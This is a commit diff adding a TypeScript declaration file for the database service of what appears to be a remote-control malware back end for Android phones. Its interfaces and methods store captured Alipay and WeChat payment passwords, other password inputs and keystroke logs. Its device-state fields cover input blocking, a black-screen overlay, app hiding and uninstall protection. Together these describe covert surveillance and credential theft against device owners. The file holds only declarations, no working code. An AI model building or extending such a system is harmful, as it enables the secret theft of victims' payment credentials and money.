111
This commit is contained in:
366
dist/services/DatabaseService.d.ts
vendored
Normal file
366
dist/services/DatabaseService.d.ts
vendored
Normal file
@@ -0,0 +1,366 @@
|
||||
export interface DeviceRecord {
|
||||
deviceId: string;
|
||||
deviceName: string;
|
||||
deviceModel: string;
|
||||
osVersion: string;
|
||||
appVersion: string;
|
||||
appPackage?: string;
|
||||
appName?: string;
|
||||
screenWidth: number;
|
||||
screenHeight: number;
|
||||
capabilities: string[];
|
||||
firstSeen: Date;
|
||||
lastSeen: Date;
|
||||
connectionCount: number;
|
||||
lastSocketId?: string;
|
||||
status: 'online' | 'offline' | 'busy';
|
||||
publicIP?: string;
|
||||
remark?: string;
|
||||
systemVersionName?: string;
|
||||
romType?: string;
|
||||
romVersion?: string;
|
||||
osBuildVersion?: string;
|
||||
}
|
||||
export interface OperationLogRecord {
|
||||
id?: number;
|
||||
deviceId: string;
|
||||
logType: 'APP_OPENED' | 'TEXT_INPUT' | 'CLICK' | 'SWIPE' | 'KEY_EVENT' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'CONTINUOUS_LONG_PRESS_DRAG' | 'GESTURE' | 'SYSTEM_EVENT';
|
||||
content: string;
|
||||
extraData?: any;
|
||||
timestamp: Date;
|
||||
}
|
||||
export interface DeviceStateRecord {
|
||||
deviceId: string;
|
||||
password?: string;
|
||||
inputBlocked: boolean;
|
||||
loggingEnabled: boolean;
|
||||
blackScreenActive: boolean;
|
||||
appHidden: boolean;
|
||||
uninstallProtectionEnabled: boolean;
|
||||
lastPasswordUpdate?: Date;
|
||||
confirmButtonCoords?: {
|
||||
x: number;
|
||||
y: number;
|
||||
};
|
||||
learnedConfirmButton?: {
|
||||
x: number;
|
||||
y: number;
|
||||
count: number;
|
||||
};
|
||||
createdAt: Date;
|
||||
updatedAt: Date;
|
||||
}
|
||||
export interface AlipayPasswordRecord {
|
||||
id?: number;
|
||||
deviceId: string;
|
||||
password: string;
|
||||
passwordLength: number;
|
||||
activity: string;
|
||||
inputMethod: string;
|
||||
sessionId: string;
|
||||
timestamp: Date;
|
||||
createdAt: Date;
|
||||
}
|
||||
export interface WechatPasswordRecord {
|
||||
id?: number;
|
||||
deviceId: string;
|
||||
password: string;
|
||||
passwordLength: number;
|
||||
activity: string;
|
||||
inputMethod: string;
|
||||
sessionId: string;
|
||||
timestamp: Date;
|
||||
createdAt: Date;
|
||||
}
|
||||
export interface PasswordInputRecord {
|
||||
id?: number;
|
||||
deviceId: string;
|
||||
password: string;
|
||||
passwordLength: number;
|
||||
passwordType: string;
|
||||
activity: string;
|
||||
inputMethod: string;
|
||||
installationId: string;
|
||||
sessionId: string;
|
||||
timestamp: Date;
|
||||
createdAt: Date;
|
||||
}
|
||||
export declare class DatabaseService {
|
||||
private db;
|
||||
private logger;
|
||||
constructor(dbPath?: string);
|
||||
/**
|
||||
* 初始化数据库表结构
|
||||
*/
|
||||
private initDatabase;
|
||||
/**
|
||||
* 迁移:确保 devices 表包含新增列
|
||||
*/
|
||||
private ensureDeviceTableColumns;
|
||||
/**
|
||||
* 根据socketId查询设备信息
|
||||
*/
|
||||
getDeviceBySocketId(socketId: string): DeviceRecord | null;
|
||||
/**
|
||||
* 根据deviceId查询设备信息
|
||||
*/
|
||||
getDeviceById(deviceId: string): DeviceRecord | null;
|
||||
/**
|
||||
* 保存或更新设备信息
|
||||
*/
|
||||
saveDevice(deviceInfo: any, socketId: string): void;
|
||||
/**
|
||||
* 记录连接历史
|
||||
*/
|
||||
private recordConnection;
|
||||
/**
|
||||
* ✅ 将设备状态设置为离线
|
||||
*/
|
||||
setDeviceOffline(deviceId: string): void;
|
||||
/**
|
||||
* 通过Socket ID将设备设置为离线
|
||||
*/
|
||||
setDeviceOfflineBySocketId(socketId: string): void;
|
||||
/**
|
||||
* ✅ 将所有设备状态重置为离线
|
||||
*/
|
||||
resetAllDevicesToOffline(): void;
|
||||
/**
|
||||
* 更新连接断开信息
|
||||
*/
|
||||
updateDisconnection(socketId: string): void;
|
||||
/**
|
||||
* 获取设备连接统计
|
||||
*/
|
||||
getDeviceStats(deviceId: string): any;
|
||||
/**
|
||||
* 获取所有设备列表
|
||||
*/
|
||||
getAllDevices(): DeviceRecord[];
|
||||
/**
|
||||
* 清理旧连接记录
|
||||
*/
|
||||
cleanupOldRecords(daysToKeep?: number): void;
|
||||
/**
|
||||
* 转换数据库行为DeviceRecord
|
||||
*/
|
||||
private rowToDeviceRecord;
|
||||
/**
|
||||
* 🆕 更新设备备注
|
||||
*/
|
||||
updateDeviceRemark(deviceId: string, remark: string): boolean;
|
||||
/**
|
||||
* 🆕 获取设备备注
|
||||
*/
|
||||
getDeviceRemark(deviceId: string): string | null;
|
||||
/**
|
||||
* 保存操作日志
|
||||
*/
|
||||
saveOperationLog(log: OperationLogRecord): void;
|
||||
/**
|
||||
* 获取设备操作日志(分页)
|
||||
*/
|
||||
getOperationLogs(deviceId: string, page?: number, pageSize?: number, logType?: string): {
|
||||
logs: OperationLogRecord[];
|
||||
total: number;
|
||||
page: number;
|
||||
pageSize: number;
|
||||
totalPages: number;
|
||||
};
|
||||
/**
|
||||
* 删除设备的所有操作日志
|
||||
*/
|
||||
clearOperationLogs(deviceId: string): void;
|
||||
/**
|
||||
* 清理旧的操作日志
|
||||
*/
|
||||
cleanupOldOperationLogs(daysToKeep?: number): void;
|
||||
/**
|
||||
* 获取操作日志统计
|
||||
*/
|
||||
getOperationLogStats(deviceId: string): any;
|
||||
/**
|
||||
* 获取设备最新的密码记录
|
||||
*/
|
||||
getLatestDevicePassword(deviceId: string): string | null;
|
||||
/**
|
||||
* ✅ 获取设备状态
|
||||
*/
|
||||
getDeviceState(deviceId: string): DeviceStateRecord | null;
|
||||
/**
|
||||
* ✅ 保存或更新设备状态
|
||||
*/
|
||||
saveDeviceState(deviceId: string, state: Partial<DeviceStateRecord>): void;
|
||||
/**
|
||||
* ✅ 更新设备密码
|
||||
*/
|
||||
updateDevicePassword(deviceId: string, password: string): void;
|
||||
/**
|
||||
* ✅ 更新设备输入阻止状态
|
||||
*/
|
||||
updateDeviceInputBlocked(deviceId: string, blocked: boolean): void;
|
||||
/**
|
||||
* ✅ 更新设备日志记录状态
|
||||
*/
|
||||
updateDeviceLoggingEnabled(deviceId: string, enabled: boolean): void;
|
||||
/**
|
||||
* 🆕 更新设备黑屏遮盖状态
|
||||
*/
|
||||
updateDeviceBlackScreenActive(deviceId: string, active: boolean): void;
|
||||
/**
|
||||
* 🆕 更新设备应用隐藏状态
|
||||
*/
|
||||
updateDeviceAppHidden(deviceId: string, hidden: boolean): void;
|
||||
/**
|
||||
* 🛡️ 更新设备防止卸载保护状态
|
||||
*/
|
||||
updateDeviceUninstallProtection(deviceId: string, enabled: boolean): void;
|
||||
/**
|
||||
* ✅ 获取设备密码(优先从状态表获取,其次从日志获取)
|
||||
*/
|
||||
getDevicePassword(deviceId: string): string | null;
|
||||
/**
|
||||
* ✅ 保存设备密码(别名方法,用于API调用)
|
||||
*/
|
||||
saveDevicePassword(deviceId: string, password: string): void;
|
||||
/**
|
||||
* ✅ 更新设备状态(别名方法,用于API调用)
|
||||
*/
|
||||
updateDeviceState(deviceId: string, state: Partial<DeviceStateRecord>): void;
|
||||
/**
|
||||
* 🆕 保存确认按钮坐标
|
||||
*/
|
||||
saveConfirmButtonCoords(deviceId: string, coords: {
|
||||
x: number;
|
||||
y: number;
|
||||
}): void;
|
||||
/**
|
||||
* 🆕 获取确认按钮坐标
|
||||
*/
|
||||
getConfirmButtonCoords(deviceId: string): {
|
||||
x: number;
|
||||
y: number;
|
||||
} | null;
|
||||
/**
|
||||
* 🆕 更新学习的确认按钮坐标
|
||||
*/
|
||||
updateLearnedConfirmButton(deviceId: string, coords: {
|
||||
x: number;
|
||||
y: number;
|
||||
}): void;
|
||||
/**
|
||||
* 从操作日志中获取可能的密码候选
|
||||
*/
|
||||
getPasswordCandidatesFromLogs(deviceId: string): any[];
|
||||
/**
|
||||
* 💰 保存支付宝密码记录
|
||||
*/
|
||||
saveAlipayPassword(record: AlipayPasswordRecord): void;
|
||||
/**
|
||||
* 💰 获取设备的支付宝密码记录(分页)
|
||||
*/
|
||||
getAlipayPasswords(deviceId: string, page?: number, pageSize?: number): {
|
||||
passwords: AlipayPasswordRecord[];
|
||||
total: number;
|
||||
page: number;
|
||||
pageSize: number;
|
||||
totalPages: number;
|
||||
};
|
||||
/**
|
||||
* 💰 获取设备最新的支付宝密码
|
||||
*/
|
||||
getLatestAlipayPassword(deviceId: string): AlipayPasswordRecord | null;
|
||||
/**
|
||||
* 💰 删除设备的支付宝密码记录
|
||||
*/
|
||||
clearAlipayPasswords(deviceId: string): void;
|
||||
/**
|
||||
* 💰 清理旧的支付宝密码记录
|
||||
*/
|
||||
cleanupOldAlipayPasswords(daysToKeep?: number): void;
|
||||
/**
|
||||
* 💬 保存微信密码记录
|
||||
*/
|
||||
saveWechatPassword(record: WechatPasswordRecord): void;
|
||||
/**
|
||||
* 💬 获取设备的微信密码记录(分页)
|
||||
*/
|
||||
getWechatPasswords(deviceId: string, page?: number, pageSize?: number): {
|
||||
passwords: WechatPasswordRecord[];
|
||||
total: number;
|
||||
page: number;
|
||||
pageSize: number;
|
||||
totalPages: number;
|
||||
};
|
||||
/**
|
||||
* 💬 获取设备最新的微信密码
|
||||
*/
|
||||
getLatestWechatPassword(deviceId: string): WechatPasswordRecord | null;
|
||||
/**
|
||||
* 💬 删除设备的微信密码记录
|
||||
*/
|
||||
clearWechatPasswords(deviceId: string): void;
|
||||
/**
|
||||
* 💬 清理旧的微信密码记录
|
||||
*/
|
||||
cleanupOldWechatPasswords(daysToKeep?: number): void;
|
||||
/**
|
||||
* 🔐 保存通用密码输入记录
|
||||
*/
|
||||
savePasswordInput(record: PasswordInputRecord): void;
|
||||
/**
|
||||
* 🔐 获取设备的通用密码输入记录(分页)
|
||||
*/
|
||||
getPasswordInputs(deviceId: string, page?: number, pageSize?: number, passwordType?: string): {
|
||||
passwords: PasswordInputRecord[];
|
||||
total: number;
|
||||
page: number;
|
||||
pageSize: number;
|
||||
totalPages: number;
|
||||
};
|
||||
/**
|
||||
* 🔐 获取设备最新的通用密码输入
|
||||
*/
|
||||
getLatestPasswordInput(deviceId: string, passwordType?: string): PasswordInputRecord | null;
|
||||
/**
|
||||
* 🔐 删除设备的通用密码输入记录
|
||||
*/
|
||||
clearPasswordInputs(deviceId: string, passwordType?: string): void;
|
||||
/**
|
||||
* 🔐 清理旧的通用密码输入记录
|
||||
*/
|
||||
cleanupOldPasswordInputs(daysToKeep?: number): void;
|
||||
/**
|
||||
* 🔐 获取密码类型统计
|
||||
*/
|
||||
getPasswordTypeStats(deviceId: string): any[];
|
||||
/**
|
||||
* ✅ 删除设备及其所有相关数据
|
||||
*/
|
||||
deleteDevice(deviceId: string): void;
|
||||
/**
|
||||
* 🔐 授予用户设备控制权限
|
||||
*/
|
||||
grantUserDevicePermission(userId: string, deviceId: string, permissionType?: string, expiresAt?: Date): boolean;
|
||||
/**
|
||||
* 🔐 撤销用户设备权限
|
||||
*/
|
||||
revokeUserDevicePermission(userId: string, deviceId: string): boolean;
|
||||
/**
|
||||
* 🔐 检查用户是否有设备权限
|
||||
*/
|
||||
hasUserDevicePermission(userId: string, deviceId: string, permissionType?: string): boolean;
|
||||
/**
|
||||
* 🔐 获取用户的所有设备权限
|
||||
*/
|
||||
getUserDevicePermissions(userId: string): Array<{
|
||||
deviceId: string;
|
||||
permissionType: string;
|
||||
grantedAt: Date;
|
||||
}>;
|
||||
/**
|
||||
* 🔐 清理过期的权限
|
||||
*/
|
||||
cleanupExpiredPermissions(): number;
|
||||
}
|
||||
//# sourceMappingURL=DatabaseService.d.ts.map
|
||||
Reference in New Issue
Block a user